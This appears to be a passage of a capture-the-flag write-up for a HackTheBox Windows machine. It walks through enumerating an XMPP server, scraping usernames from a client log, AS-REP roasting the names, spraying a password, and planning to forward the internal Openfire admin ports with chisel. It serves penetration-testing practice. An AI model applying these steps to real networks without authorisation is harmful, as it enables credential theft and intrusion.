I'm not familiar with the steps needed to enumerate the Jabber attack surface, but looking at the nmap output, it seems the Jabber (XMPP) server has bound to multiple ports including tcp/5223, tcp/5262, tcp/5263, tcp/5275, tcp/5276, tcp/7070, tcp/7443.
Let's start by asking Google for some information.
Researching Jabber Enumeration
jabber pentest - Google Search
XMPP service is an underappreciated attack surface for pen testers
Misconfigured XMPP (aka Jabber) servers may not be the most common service you encounter during pen tests, but they can prove very valuable. Read more.
Zach Julian, Senior Security Consultant
Lots of good information here
Connect with a Jabber Client
The article referenced above uses the pidgin XMPP client, so that's what we'll use.
sudo apt install -y pidgin
Exporting the User List
There isn't a clear way of exporting the usernames from this user search function, so we'll have to get creative.
grep -oE '[A-Za-z0-9]{1,}\@jab.htb' jabber.log | grep -v 'ben@jab.htb' | sort -u > jabber_emails.txt
cat jabber_emails.txt | cut -d '@' -f 1 > jabber_usernames.txtGet all emails from the log and filter out my own username, then create a username list
AS-REP Roast with the New List
diff as_rep_list.txt jabber_usernames.txt | grep '>' | awk -v FS=' ' '{print $2}' > jabber_as_rep.txtWe're going to AS-REP roast again, but only on names that are unique to Jabber

Adding the Jabber Account
⚠️
I tried spraying this password around with a few tools, but didn't find anything too useful. Let's enumerate LDAP with the
jmontgomery credential and see who has access to what.TCP/3269

Privilege Escalation
In the post-exploit enumeration steps, we found a couple of ports listening internally on tcp/9090 and tcp/9091 and we can further see that it's associated with process ID 3076. We can see these TCP ports referenced as the Openfire admin console ports in openfire.xml.
Port 9090 (tcp/udp)
Port 9090 tcp/udp information, assignments, application use and known security risks.
Let's transfer chisel.exe to the target, so we can forward those ports.
